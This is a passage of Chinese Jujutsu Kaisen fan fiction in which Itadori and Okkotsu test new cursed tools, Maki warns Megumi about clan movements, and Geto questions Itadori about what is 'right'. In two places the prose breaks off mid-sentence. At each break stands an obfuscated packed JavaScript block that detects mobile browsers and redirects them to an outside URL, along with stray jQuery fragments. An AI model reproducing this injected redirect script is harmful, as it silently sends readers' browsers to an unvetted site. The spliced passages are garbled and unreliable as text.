“不啦!”虎杖悠仁婉拒了她的邀请,表示家里还有事情。
伏黑津美纪其实和伏黑惠长得并不像,除了发色之外,从眉眼到发质都全然不同。黑色的马尾甩动着,伏黑津美纪在和他道别的时候像所有关爱家中小辈的年长者一样,对虎杖悠仁说:“虎杖同学,小惠他有的时候不太擅长说话,因为家里的原因又独立成熟得太早,所以很少有和他同龄的朋友......他很在乎你们之间的友谊,谢谢你愿意和他成为朋友。”
这番发自肺腑的话让虎杖悠仁觉得心里酸酸的,几乎没有办法拒绝伏黑津美纪话里话外的请求:“没什么啦,伏黑、啊,我是说惠,他是个好人,是个超温柔的家伙,我很高兴能和他成为朋友。”
“那就好。”伏黑津美纪笑得很开心。
能够看见伏黑惠心中的温柔,说明虎杖悠仁本身也是个极善良的人。
从伏黑家告别之后,虎杖悠仁乘车往回走,路上接到了乙骨忧太的联络。
“准备回家了?没想到领养人居然是伏黑同学的姐姐啊,”黑发少年的声音从电话那头传了过来,听上去周围似乎有不少人,“我可能会稍微晚一些,这个地方实在太远了——”
虎杖悠仁只是小声地应着,毕竟他现在还在电车上,不太方便回应乙骨忧太。
不过乙骨忧太打电话来也并非为了得到他热情的回应,只是一整天都见不到人,再加上下午的时候他莫名感觉有点心慌,所以只是听到打在听筒上的呼吸声就已经很满足了。
等虎杖悠仁到家之后,乙骨忧太的妹妹也发来了平安到家的短信。他一边回复着女孩的信息,一边从柜子里找出了小泽优子给他们写的抚养幼猫的注意事项。因为脑子里想着别的事,所以他拍了照片之后直接就给伏黑惠发了过去。
很快那边就发回了一个:“?”
“啊!糟糕!应该等他回家之后再发的——”虎杖悠仁扑到了乙骨忧太的床上,打着滚思考怎么向伏黑惠解释。
伏黑惠刚刚祓除了一个三级咒灵,向五条悟做完说明之后就看到了虎杖悠仁发过来的“幼猫养育注意事项”。
“......那家伙又搞什么?”
他乘了一段伊地知洁高的顺风车,在大宫站附近下了车,关上车门后才终于等到了虎杖悠仁的“解释”。
他盯着发过来的表情包好像要把它看出花来,最终还是决定不予理会。
另一边的虎杖悠仁和伏黑惠想到了一起去,干脆利落地选择了装傻。他翻手机的动作停了一下,微微歪头听到了熟悉的脚步声,一个挺身从床上弹了起来走到了门边提前打开了家门。
刚好撞上已经伸出手来的乙骨忧太。
“你已经听到了啊......我回来了!”
“欢迎回来忧太!”虎杖悠仁习以为常地说,从黑发少年手里接过了布包:“好大的匣子!”
“两个?”
除了最显眼的长方形匣子,布包的最下面还有另外的一个小盒子。
大的这个显然就是乙骨忧太的刀,那么下面这个......
“这些年一直没送你正式一些的生日礼物,”乙骨忧太脱下外套,去洗了手,“打开看看吧?”
虎杖悠仁打开了盒子。
躺在盒子里的是一副半指手套,关节处用特殊的材料加厚。虎杖悠仁将它们托在手心,疑惑地望向乙骨忧太。
诅咒师组屋鞣造是个制作咒具的大师,这副手套也是他的得意作品。和乙骨忧太的刀同样是一级咒具,它不但轻若无物,还能够让使用者的力量爆发更加强劲。
这副手套是模仿特级咒具游云制作出来的,虽然没有游云那样恐怖的增幅力,但它的力量依旧不容小觑。
“喔!真的好像没有感觉一样!轻飘飘的......”
虎杖悠仁戴上手套尝试性的挥拳,已经能够感受到咒具对力量的增幅。这对于不习惯持握武器战斗的虎杖悠仁来说无疑是最合适的礼物,他为这样的惊喜而兴奋,居然直接跳起来扑向了乙骨忧太,和他抱了个满怀:“谢谢你忧太!!我们现在能去训练场实战试试吗?走吧!我们现在就走!”
因为收到礼物而高兴过头了的虎杖悠仁松开乙骨忧太之后,急匆匆地拉着他的手臂往楼下冲,还不忘记带上属于他的长条形匣子。
“别在楼道里横冲直撞的哇?!悠仁忧太!!”
“抱歉抱歉!!”虎杖悠仁声音清亮地向被他们惊到的枷场姐妹道歉,女孩子们也得到了乙骨忧太深感歉疚的眼神。
他们冲出去的身影惊动了终于跑到楼下吃零食的猫咪,让它骤然炸毛并发出一连串嘟嘟囔囔的叫声。
此时太阳已经开始落山了,夕阳将远处的天空染成了橙红色,云朵比天空更红一些。在虎杖悠仁的催促下,乙骨忧太终于打开了装着刀的匣子。
盛放咒具的容器具有封印效果,能够防止咒具上的咒力外泄。如今匣子被打开,虎杖悠仁立刻感受到了从放置其中的刀具上散发出来的异质咒力。这把刀没有刀鞘,锋利的刀刃明晃晃地陷在匣子里铺的绒布中,反着光。
“这种感觉......好奇怪。”虎杖悠仁凑近看了看,没有直接上手。
乙骨忧太握住刀柄,将它提了起来。开刃的咒具分量比乙骨忧太平时使用的刀要重上不少,沉甸甸的,挥动的时候很有力量感。
这柄刀同样拥有“原型”。
咒具是凭依了诅咒的武具,按理来说这世界上很难找到两柄完全相同的咒具,但这并不能难倒咒具大师组屋鞣造。
他打造这把刀的灵感来自咒具释魂刀,那是一把能够无视一切防御、斩裂魂魄的武器,由此仿造出来的咒具同样拥有伤害灵魂的力量,只是和虎杖悠仁的手套同理,力量不及原型那样恐怖。
“没有刀鞘的话,你要怎么带着它到处走呢?”虎杖悠仁从一旁的仓库里搬出了几个训练用的草人和沙袋摆好,问道。
乙骨忧太回答:“里香的体内能够储存一定数量的咒具,再加上它也没问题的。”
祈本里香离开后,作为外置大脑的式神里香只会在乙骨忧太呼唤它的时候显现出来,不会再因为术师本人不安定的精神状态而随意暴走。
虎杖悠仁已经兴致勃勃地开始向训练用的草人挥拳试用手套的力量,乙骨忧太感受着手中的重量,心情却没办法向粉发少年一样高涨起来。
原本他订做的只是一柄“能够承担足够多的咒力”的武器,而拿到手的刀却包含了他不希望它拥有的力量。咒灵可没有“灵魂”,想也知道这不被期待的能力究竟来自谁的要求。
只有人与人相互伤害时,攻击灵魂才能产生巨大又难以弥合的伤口。
不论是武器,还是言语。
虎杖悠仁用拳头进行攻击的时候,因为自身咒力的特性,会让流动在身体里的咒力分两拨爆发出来。不光是肉|体的力量,这副半指手套同样也能将一次打击产生的两次咒力爆发造成的伤害翻倍。
看着完全断裂、飞过了大半个训练场的人偶身体,虎杖悠仁后知后觉地发出一声惊呼。
乙骨忧太同样惊叹道:“真是惊人的力量!”
他有点不确定在用上咒力防御之后自己能否接下虎杖悠仁全力挥出的拳头,那种蓬勃的力量看起来能将他完全打出去。
他提出了想要尝试的请求,虎杖悠仁同意了。
全力以赴才是他们对对方绝对地信任,乙骨忧太没有叫出里香,而是用磅礴的咒力裹满了身体,尤其加强了双臂和肩膀部分的咒力防御。
虎杖悠仁喊了一声“我来了!”,随后助跑了两步,用尽浑身的力量向乙骨忧太挥拳。
他用力到脸颊鼓起,额头和脖颈冒出了条条青筋,乙骨忧太在虎杖悠仁的拳头贴上来的瞬间就放弃了强行站在原地的想法,双脚周围的地面在巨大的压力之下寸寸龟裂,踏出了两个布满裂痕的陷坑。
之后他任由自己的身体顺着拳头挥出的力道和方向倒飞了出去,以此卸去正面袭来的力量。
虎杖悠仁感受到了延迟而来的咒力爆发,但乙骨忧太的选择让虎杖悠仁的第二次咒力攻击落空,不过只凭第一击纯粹的力量与咒力爆发也足以击破他双臂加强过的咒力防御,瞬间麻木的手臂和隐隐作痛的骨骼让乙骨忧太立刻下意识地开始运转反转术式。
他像那个断裂的人偶一样,几乎贴着地表飞跃了整个训练场才将冲击完全卸去,还没站稳就听见虎杖悠仁的声音由远及近:“感觉怎么样?!”
“嘶——想要挡下悠仁的全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378207|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力一击实在太困难了。”乙骨忧太甩着手臂,麻木的感觉还未完全退去。
“那是当然的了,都说了是‘全力’,”虎杖悠仁确认他没有事之后说道,“感觉我现在可以和里香比掰手腕了。”
“......要来吗?”
乙骨忧太和虎杖悠仁找不到合适的桌子,索性直接趴在了训练场旁被修剪过的草坪上。里香很快理解了乙骨忧太希望它做的事,虎杖悠仁调整好了自己的姿势。
里香的力量极为恐怖,这下轮到虎杖悠仁觉得心里没底了。
“准备好哦,”乙骨忧太将手放在他们的手上,白色咒灵的巨大手掌几乎完全将虎杖悠仁的手攥在手心里,虽然有些别扭,但随着乙骨忧太的倒计时,虎杖悠仁不由自主地吞咽了一下,做好了准备,“预备——开始!”
在乙骨忧太松开手的一瞬间,里香和虎杖悠仁的力量比拼堂堂开幕!
虽然看不清草皮下的地面发生了什么,手肘处传回的感觉告诉虎杖悠仁,他和里香的这场对决将会彻底摧毁这一片区域。
他们势均力敌。
里香嘟囔着,不断在手臂上增加压力,可借着手套咒具的辅助,得到力量增幅的虎杖悠仁勉强能够继续支撑。
这其实已经在直白地说他不会获得胜利了,毕竟构成里香最基础的东西就是咒力,驱使它行动的也是咒力,乙骨忧太身上的咒力简直取之不尽用之不竭,因此里香不会觉得疲惫。
虎杖悠仁就不是这样了,纵使他变态的肉|体力量加上手套咒具的增幅能让他在里香的手下坚持住一段时间,可只要是人,力量就总会有用尽的那一天。
但他没有就此认输的意思。在真正落败之前,所有的坚持都是有意义的。
他们附近的地面果然因为承受了太多的力量而寸寸碎裂,这场比试在地面破裂的痕迹蔓延到更远方之前被叫停了。
乙骨忧太甚至能够感受到脚下的大地传来震颤的声音。
这样的动静同样引来了所有身在“帐”内的诅咒师的注目,借由咒灵之眼,夏油杰立刻了解了究竟什么事导致了训练场的方向传来这么强劲的咒力波动。
“所以,那就是你说的牵制五条悟的手段?这种咒力量还真是夸张,跟我对练的时候恐怕有意收敛过了吧。”米盖尔的口音问题已经比之前好了太多,这次回到教会是为了找夏油杰了解计划的更多细节,这将决定他是否需要回到他的家乡取走部族的宝物。
“等你撑不下去了,他会顶上你的位子。只要你们两个能够撑过二十分钟就足够了,”夏油杰对敌我双方的实力差距认知非常清晰,“有黑绳在的话,达成这个目的应该能更轻松一点吧。”
“只需要二十分钟?你对自己这么自信吗,夏油?”
夏油杰歪着头耸肩:“这不是自信与否的问题,是他最多能够允许被你们浪费这么长时间罢了。就算有黑绳也不能掉以轻心,虽说过了这么久他多少也该改掉那种浮躁的性子了,但也别试图激怒他。我还不想看见我珍视的家人们死在那里。”
“真可怕啊。”米盖尔夸张地说。
五条悟就是这样一个张扬又避无可避的名号。
虎杖悠仁从地上站了起来,身上沾满草屑,他一边清理着衣服一边和乙骨忧太说:“里香果然长大了吧?我觉得小时候看它就是这个模样,长大之后按理说应该不会有同样的感觉,毕竟我长高了嘛。但是现在看起来我们之间的差距好像没有什么变化,果然是里香也长大了!”
他比划了一下自己和里香之间的高度差,向乙骨忧太示意。
“嗯,应该是的?它也一直在和我们一起变强呢。”乙骨忧太摸了摸巨大式神白色的皮肤,表情柔和地说道。
里香作为外置大脑不但可以帮他储存更多复制来的术式,除此之外还拥有一个面积不小的内部空间能够承载一些咒具,这都是近些日子乙骨忧太偶然发现的。
之后乙骨忧太又熟悉了一会儿自己的刀,他的刀术称不上有多精妙,最擅长的就是将体内满溢的咒力注入到咒具当中,然后向着目标朴实无华地砍下去而已。他们的体术都是和夏油杰学的格斗,后来虎杖悠仁也会自己看比赛学习一些看似华丽但不知道实战有没有用的招式。
在实战方面,除了夏油杰之外对他们帮助最大的就是米盖尔,来自非洲草原的术师不但拥有强健的身体,配合他的术式还能击出具有爆发性力量的“点”的攻击,这种动作间的律动与急停是很难把握的战斗节奏,虎杖悠仁亲身体会了两次之后勉强摸到了一些门路,但还称不上完全理解。
他们没有再在训练场上待很久,一层的餐厅里没有人,所以他们两个人慢慢悠悠地开始准备自己的晚饭。
“味噌汤和蛋炒饭怎么样?”
乙骨忧太想了想:“我再做个玉子烧?”
“好喔!”
69. 第 69 章
虎杖悠仁踹倒了最后一个还站着的混混,用拇指蹭掉了沾到脸上的血迹。这滴血是他打中第一个人的鼻子时溅过来的,又被他面无表情地抹去。
这伙人不是他们学校的学生,看起来像是附近的无业青年,常年游走在游戏厅和各种娱乐场所,今天在勒索钱财的时候碰巧被准备去打柏青哥的虎杖悠仁看见并一如往常地教训了一顿。
“手和脚都还好好的,为什么不能找个正经的事做呢?是因为好吃懒做才选择伤害别人,还是只是想这么做?”
他这一次没有着急离开,而是在趴着爬不起来的混混面前蹲了下来,困惑地问道。
混混抬眼,看见了他举起的手,又被吓得瑟瑟发抖,哆嗦了一下才着急忙慌地喊了出来:“因为这样来钱最快啊!就算去打工、找份正经工作,一天下来也挣不到多少钱,还得听他们变着花样骂我们没出息,谁要去这么憋屈地挣钱啊?!”
被他打破鼻子的人捂着肿胀的鼻梁默不作声,可看起来和这个人的想法是一样的。
“你们的确听起来很可怜啦,但是被你们勒索的人可是就这样失去了忍耐着工作一天挣来的钱,不觉得有点过分了吗?”
“臭小鬼你懂什么?!又不是谁都像你一样爱管闲事,干嘛要做跟你没有一点关系的多余的事?”混混说得唾沫横飞,似乎打心底里对虎杖悠仁坏了他们好事的行为深恶痛绝。
虎杖悠仁定了定神,站起身向后退了两步,影子将地上的人笼罩了进去。
一个又一个,这种事情虎杖悠仁已经遇到了太多次。这不过是最常见的伤害与恶,它直白又明显,比其他看不见亦或者后知后觉的痛苦更加简洁明了。
粉发少年没再理会被他打倒的人,而是径直越过他们向小巷里面走去。拐过一个转角,他看到了一个抱着双腿蹲坐在排水管旁边生满青苔的石墩上的黑影。
那是一个尚未完全变成实体的诅咒,能勉强看出人形,走近的话还能听到它正在嘟囔着什么。虎杖悠仁没有将它的话听清的想法,甩手祓除了这个等级极低的诅咒,从小巷的另一个出口离开了这里。
汇入大路上来往的人群中时,他被太阳光晃得眯了一下眼睛,抬手遮住刺目的阳光。
走到柏青哥游戏厅的时候被前台拉住告知今天会有检查,说什么都不能放他这个未成年进去了。
出来之后虎杖悠仁罕见地感受到了一丝迷茫。
回家的路上,他看见了一个身材不高但精神矍铄的老人,一瞬间过于熟悉的背影让他想起了虎杖倭助。他从仙台的医院拿回了爷爷的死亡诊断书和尸检报告,老人是肺癌晚期导致呼吸衰竭去世,虎杖悠仁没有从这几张薄薄的纸中找到任何可疑的地方。
“我回来了!”
乙骨忧太正在墙上贴着什么东西,闻言探出头来:“今天好早,社团活动呢?”
虎杖悠仁将书包取下,放到自己的凳子上:“很无聊所以提前跑出来了。”
“这样啊。”乙骨忧太转了转眼睛,目光落在了虎杖悠仁的领口上:“悠仁,你去打架了?”
粉发少年顺着他的目光找了过去,低头看到了胸前系帽子的绳上不知何时溅到的血迹。只有小小的一块,远看根本看不出它的颜色,可还是被乙骨忧太一下子发现了。
麻烦了,这件衣服他才穿了一天诶。虎杖悠仁苦恼地挠头:“没有打架。”
有来有往的才是打架,他这只算是单方面地教训?
“你贴的这是什么?”他试图转移乙骨忧太的注意力,转而问起他手中符纸一样的东西。
“这种咒符拥有能够隐藏咒力气息的力量,因为拿到的数量很多,所以我准备先试用一下效果看看。”乙骨忧太的思维果然被带着走了。这是五条悟给他提供的一个方法,咒符是他自己从组屋鞣造那边买的。
“隐藏咒力气息?为什么?”虎杖悠仁换下被染脏的帽衫,套上睡衣去卫生间清理系带上的血点。
乙骨忧太跟着他走到卫生间的门口,听着水流哗啦啦地跑进下水道,靠在门框上解释道:“夏油先生他们准备在平安夜行动,到那时候......悠仁就待在家里吧。”
水龙头被关上,虎杖悠仁听到这个消息的时候没再焦急地想要反驳,而是默默擦干了手上的水渍走到了乙骨忧太的身边:“理由呢?”
“因为这次……悠仁去了会让自己觉得痛苦又纠结。我觉得既然如此,还不如让你留在家里。我不会去太久,等我回来咱们就离开这里。”
虎杖悠仁垂着眼睛沉默了半晌,周围的寂静让乙骨忧太觉得身旁的空气正在被一点点地抽走。粉发的少年缓缓询问道:“会是很难过的事吗?”
乙骨忧太听懂了虎杖悠仁的意思,所以他摇了摇头:“只是一场全力以赴的战斗。”
也是一场必输的战斗。
虎杖悠仁从他手中抽走了一张咒符,翻动着看起来很脆弱的符纸问道:“必须要去吗?你想去吗?”
“一定要去。我自己的话,”乙骨忧太将双手背在身后,看着咒符在虎杖悠仁手中被他下意识地折成各种形状,“稍微有点......期待的吧。”
他在虎杖悠仁面前总能将自己看得更透彻。
“是吗。这样啊。”听到乙骨忧太的回答之后,虎杖悠仁就知道自己没办法改变黑发少年的想法了。
“只是防备那个人趁着外面混乱的情况下继续她的阴谋,那些咒符用来防止意外情况。”
“......我明白的,我不会要求跟着你一起去。但是你也得答应我一件事,”虎杖悠仁只是平静地说,“‘那个’,在平安夜之后就开始吧。”
乙骨忧太从他浮于表面的平静语气中看透了他内心挥之不去的焦躁感,像是亲眼见证酝酿着暴风雨的乌云在远处生成的脆弱草叶,不知道自己究竟是否足够坚韧、根茎抓握土地的力量能否抵御狂风骤雨的捶打。
他迫切地需要可以当做支撑内心力量的安全感,无法与乙骨忧太同行无疑加重了他心中的不安定,因此更加渴求一个确凿的回应。
“嗯,我答应你。”乙骨忧太发自内心地露出一个笑容,他发现了被藏在坚强伪装之后的脆弱,并牢牢将之拥入怀中,给予温柔又炙热的回应。
“那我们约好了!”
仅仅只是注视着就能让胸口腾起无上的勇气,这才是人生中最珍贵的宝物。
——
伏黑惠偶尔会发那只黑白相间的小猫的照片给虎杖悠仁,它眼睛里那一层灰蓝色、雾蒙蒙的颜色已经褪掉,露出了小猫眼睛原本的绿色。
小家伙身体健康得很,已经开始浅浅暴露出这个品种的猫咪该有的特质。
伏黑惠和津美纪说过自己已经决定去东京上住宿制高中的决定,不会经常回家。因为被告知是五条悟任教的学校,所以伏黑津美纪对此没有太多的顾虑。
只是家里的小猫究竟要跟谁一起住变成了最大的问题。伏黑津美纪在高中附近租了一间房子,只有周末才会回家。
“没什么大问题吧,”伏黑惠给出了最简单的解决方案,“让它跟着你,等你上了三年级忙起来之后我把它接走就行了。”
咒术高专的环境很好,也很安全,就算因为任务没办法回去也能拜托前辈或者辅助监督帮忙照料。
伏黑惠跟着五条悟去过位于筵山山麓的咒术高专,在那里见到了今年入学的前辈。
“马上就要到交流会了,”熊猫抖了抖毛茸茸的耳朵,“今年京都校那边的二年级应该也会参加,但是咱们这边不太妙啊。”
秤金次最近因为私自利用恐怖影片制造诅咒而被总监部的高层警告,正在“闹别扭”,星绮罗罗自然跟着他一起,所以如果他们不来的话今年的姊妹校交流会就只有熊猫他们这几个一年级去参加了。
禅院真希大胆发言:“把惠拉上怎么样?这家伙的术式很厉害的啊。”
“木鱼花!”狗卷棘将双手摆在胸前比出了一个“X”。
“是啊真希,惠还没有入学高专,你这就是在压榨童工啊。”
“啊?又不是在打工,反正明年也会对上他们,提前准备一下也好啊。”
伏黑惠本人觉得倒是无所谓,到底能不能参加也不是他能决定的事:“最近五条老师都在忙什么?根本见不到他的人。”
熊猫想了想:“悟最近似乎一直被总监部的事缠着,本来说要带着我们一起去执行任务,最后还是换成了日下部。”
禅院真希百无聊赖地将扛在肩膀上的咒具甩了甩,叫上狗卷棘和熊猫准备再去训练场上活动一下。
“难得天气放晴,连续下雨真是烦死人了!”她朗声抱怨着,把仍坐在原地的伏黑惠叫了起来:“喂,惠你也过来啊!不要在训练上偷懒,不是你说要和我学习体术的吗?”
“来了。”
“真希!要对我们未来的学弟态度好一些啊!”
“啰嗦死了熊猫!”禅院真希露出一个得意的笑容:“他可不是什么要被保护起来的脆弱家伙。”
狗卷棘拉着衣领:“金枪鱼蛋黄酱。”
“......”狗卷前辈的饭团语理解起来好困难。
在正式开始训练之前,禅院真希仿佛不经意间向伏黑惠提起道:“对了惠,最近家里那边不太安分,你见过他的吧?那个目中无人不可一世的混蛋。”
伏黑惠愣了一下,缓缓想起了一个人的名字:“你是说禅院直哉?”
他小时候跟着五条悟去禅院家的那次似乎见过禅院直哉,因为那个人的眼神实在让人喜欢不起来,而且伏黑惠总觉得禅院直哉不管看谁都带着轻蔑的眼睛在看向他的时候总能让他感受到一丝狂热和有点莫名其妙的嫉妒。
禅院真希大声地“嘁”了一下:“就是他,他和他的‘柄’最近似乎和总监部那边有什么联系,你要是在外面碰到他们记得警惕一些。”
这些小道消息是禅院真依告诉她的,她们虽然正在......吵架,但事关本家和他们最厌恶的人,禅院真依不会在这种事情上任性。至于她的消息来源,加茂家的下一任家主加茂宪纪和她同在京都校。
“加茂家的术师也?”
“好像是吧,”禅院真希也说不太清楚,她从真依那里听来的都是一些暧昧不清的小道消息,“以前只有总监部下达剿灭诅咒师集团的命令时才会一下子搞出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378208|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这么大的阵仗。”
那帮老头子们肯定是使唤不动五条家的人,所以五条悟没动静、但禅院和加茂蹦跶起来的情况就只有禅院真希说的这种可能性了。
既然学生们都已经知道了,五条悟肯定比他们知道得更清楚。
狗卷棘说了几个饭团口味,熊猫精准地理解了他的话并做出了解答:“棘你们家不怎么参与这种事,所以不太清楚吧?据说有的时候一些咒术家族的术师会接到覆灭某个诅咒师集团的任务,这种事情一般不会落在我们这样的学生身上,最近成规模、名气稍大一些的诅咒师集团也很少啦。”
“哼,能让他们两家一起动起来的肯定不是什么乌合之众,不过再团结的诅咒师集团在家族术师的面前也很难抵抗了。”禅院真希已经开始为被盯上的倒霉蛋们默默哀悼。
为了避免术师死亡后生成咒灵,最后一击必须使用咒力或咒具,“炳”里面都是一群杀人不眨眼的疯子,用来对付同样以咒杀为生的诅咒师也算是狗咬狗,两败俱伤也不会觉得伤心。
她随手捡起一把训练用的木刀扔给了伏黑惠:“行了,你好不容易才来一趟,跟我打一场吧?我可不会留手哦。”
伏黑惠也暂且将刚才得到的消息放进脑袋里:“请多指教,禅院前辈。”
“喂!说了说少次不要叫我的姓!”
从少年少女们的话题中路过的五条悟刚刚从总监部出来回到阳光下,途经训练场时远远地看了一会儿他们的练习,心中略感欣慰,驱散了方才和一群腐朽发臭的老橘子们对话产生的不悦。
他语调奇特地说:“果然,年轻人就该有年轻人的样子啊~”
斑驳的阳光透过茂盛的树冠在他身上留下了与过去无异的光点,五条悟径直走向了校舍的方向,毫不意外地在走廊里碰到了夜蛾正道。
他们默契地谁也没有率先开口,夜蛾正道走到了走廊的窗户边,他们身后就是属于一年级的教室。
最终还是随着年岁增长越来越像黑|道头头的夜蛾正道推了推五条悟同款墨镜,叹了口气说道:“悟,你觉得是夏油吗?”
五条悟和他们曾经的班主任、如今的上司看向同一个方向,单手撑着下巴琢磨了一会儿才说道:“是他。”
可疑地点的确是曾经隶属于盘星教时器会的某个分部,不过总监部的命令下达得很突然,似乎他们很早就盯上了那里,在接连几个负责调查的辅助监督都被杀死之后,终于彻底将剿灭盘踞在那里的诅咒师集团当做正式的任务下达给了各个咒术世家。
总监部当然希望五条悟亲自过去,但看起来这个任务的期限被拉得很长,五条悟没有从他们的口中听出迫切的意思。
这对于向来雷厉风行地抹除一切可能威胁到咒术界的不安定因子的老头子们来说有些反常,引得五条悟不得不多思考一些可能性。
夜蛾正道看着难得陷入这种沉思当中的五条悟。哪怕他已经从咒术高专毕业很多年,也和夜蛾正道一样成为了教师,甚至早就稳坐最强咒术师的座位,夜蛾正道在看向五条悟的时候偶尔——只是偶尔中的偶尔——还会让他想起对方还是个学生时强大又不着调的模样。
“如果你想的话,在他们之前解决掉这段恩怨也是不错的选择。”最终,夜蛾正道只是如此劝他。
捏着下巴的五条悟觉得眼前仍被笼罩着一层薄雾,有什么重要的东西被藏在了后面,朦朦胧胧的看不清楚:“嗯,感觉事情没这么简单啊,校长。”
五条悟的直觉告诉他那是“不得不看清楚”的事情,如果不搞明白的话虽然不太影响他的生活,只是总会觉得如鲠在喉。就像忙活一整天集齐所有甜品兑换贴纸之后发现奖品非常难吃一样让人抓心挠肺——也算是多少会影响到他的心情吧。
——
天台上视野开阔,现在已是夏末秋初,高处的风吹动了夏油杰的袈裟和缠绕在铁架上的绿植,衣架像是绘马一样相互敲击,发出咔哒咔哒的声音。
“夏油先生?”到天台上来收衣服的虎杖悠仁单手拎着收衣篓,看到了独自一人待在天台上的夏油杰:“为什么一个人待在这里?”
“没什么,只是偶尔也想要自己清净一下。你去收衣服吧。”夏油杰说完就开始坐在椅子上闭目养神,似乎并不欲和虎杖悠仁继续多说什么。
虎杖悠仁从他身边走过时能够明显看见他脸侧锋利的弧度,与虎杖悠仁第一次见到他时的模样既相似又陌生。
粉发少年默默地将所有衣物通通收入衣篓中。他的余光一直停留在靠着椅背的男人身上,一些表示关心的话语涌到嘴边,可又被他们之间不知何时变得尴尬起来的关系拦了回来。
渐行渐远的根源在于他们相似却又截然不同的理想......亦或者是对未来的某种期盼,只是这个过程在发生的时候总是缄默而无声的,虎杖悠仁明白这样的分歧不可避免,能够以如此平和的方式发生已经算是一种宽恕,让心思细腻而痛苦的人得到了赦免,不必为此承受更多。
在他沉默着离开天台前,夏油杰的声音从身后遥遥传了过来:“你还在寻找自己的‘正确’吗?虎杖悠仁。”
他停下了脚步,回过头。
70. 第 70 章
何为“正确”?
这个问题在虎杖悠仁还是一个孩子的时候就困扰着他。失去了引导他前行的爷爷,被命运和咒术推向阴谋的浪潮中,虎杖悠仁几乎竭尽全力在狂暴的海浪里将头伸出海面,呼吸着宝贵的空气。
他不缺少面对生活和命运的勇气,即便找不到答案也能够凭借相互支撑的力量而走完剩下的时间。
你现在还在寻找自己的“正确”吗?
虎杖悠仁回答道:“现在还没有,以后也不知道能不能找到。我觉得如果一个有跨越时代可能性的问题直到现在都没有能被所有人认可的答案,大概率未来也不会拥有定论了吧?”
粉发少年侃侃而谈,隔阂在言语交流中逐渐融化,让夏油杰更清楚地看见了虎杖悠仁的内里。
“我现在不再执着于思考什么样的事情是‘正确’的了,这个词想了太久会让我连它究竟是什么意思都开始一并怀疑起来,我不希望以后的生活被这种想法完全掌控,那会令我觉得自己被什么东西操纵着一样。”
“呵呵,生活吗?”夏油杰从虎杖悠仁的话中捕捉到的词汇居然是“生活”。不单单是为了维持生存而每天必须进行的生命活动,吃饭、睡觉、工作之外还有由更多渺小又微不足道的事情所组成的生活。
早起时因为挤了太多的牙膏而导致嘴巴里的泡沫源源不断地冒出来,出门时因为街道旁飘落的樱花而心情愉悦,也许还会掏出手机将飘花的景象化作电子数据保留下来。经过熟悉的便利店却发现喜欢的饭团口味停产了,在户外运动的时候不小心被尖锐的树枝划破了衣袖或者裤腿。
因为见到心悦的人而暗自欣喜,因为见到不喜欢的人而不快地撇嘴。为了好吃的食物发出赞叹,为了感人的剧情落下眼泪。
“夏油先生,”虎杖悠仁说道,“不管什么时候都好,重新开始生活吧?虽然这一定不是一件轻松的事,但......”
只要努努力的话,就一定能做到......吗?
夏油杰真心实意地轻笑了起来,笑声愈发洪亮,最后他捧住了自己的肚子,弯腰简直要将眼泪都一并笑出来。
虎杖悠仁静静站在一旁,他知道这并非来自诅咒师的嘲笑,可这样的笑声也只会让他的心逐渐冷却,滑向无法回头的深谷。
夏油杰拒绝被拯救,他拒绝了站在悬崖边缘的虎杖悠仁向他伸出的手。
也许......并非“拒绝”。如果下落之人并不觉得脚下是无底的深渊,假如只有跳下去才能完成自我的救赎,是否就此放手才是最好的选择?
夏油杰的嘴角仍残留着大笑后没来得及收回的弧度,他坐直身子说:“你果然应该去当悟的学生,你们简直一模一样啊。”
虎杖悠仁不觉得自己和那个白发的最强咒术师有任何相似之处值得夏油杰发出这样的感叹,即便他已经从乙骨忧太口中知晓了他们相识并且曾经关系很好的事,也不能让他理解夏油杰将他和五条悟归为一类人的说法。
“悠仁,”夏油杰终于完全平复了下来,他似笑非笑地看着虎杖悠仁说,“为什么不让自己变得更傲慢一些呢?你好歹也是个术师,连战斗的理由都说不出口吗?没办法往前看的话,你只能留在原地一遍又一遍地想着办法杀死过去的自己。”
黑发的诅咒师似乎认为虎杖悠仁太过可怜,于是改用怜悯的眼神看着他,却又拒绝倾听他的辩解和争论。
虎杖悠仁觉得夏油杰的袈裟就像夜幕一样将他本人全然笼罩了进去,谁也看不见这个人的内心究竟是怎么想的,又为什么会说这样刻薄却带着劝诫的话。
如果我会读心术就好了,虎杖悠仁心想,哪怕要为此承受十倍百倍的痛苦,他也想要听听人们的内心究竟在想些什么。他们为什么选择这样的未来?为什么想要离开我、接近我?
似乎只有给所有令他疑惑不解的事都找到对应的理由才肯罢休,不然的话心中的疑虑会像涨潮的海水一样日益上升,让他无处落脚。
天台上的对话不欢而散,双方默契得仿佛什么都没有发生过一样,只要走下天台之后就可以继续各自的“生活”。
夏油杰已经离开了,虎杖悠仁将收衣篓放好,自己走到了天台的边缘,跨过栏杆后坐了下来。
高处的风让他的心情好了一些,视野不再局限在地面上,令人的内心也变得开阔起来。虎杖悠仁深深地吸了一口气。
战斗的理由究竟是什么呢?
虎杖悠仁觉得那都是说给别人听的,亦或者是遵循某种规则而给自己规划出一条“正确”的道路。每一次强调都像是将松木栅栏钉入一望无际的原野中,从其他生物的领地里慢慢划出一片属于自己的地方,以此来确保自己不会迷失在旁人的世界里。
就是在确认自己的存在。
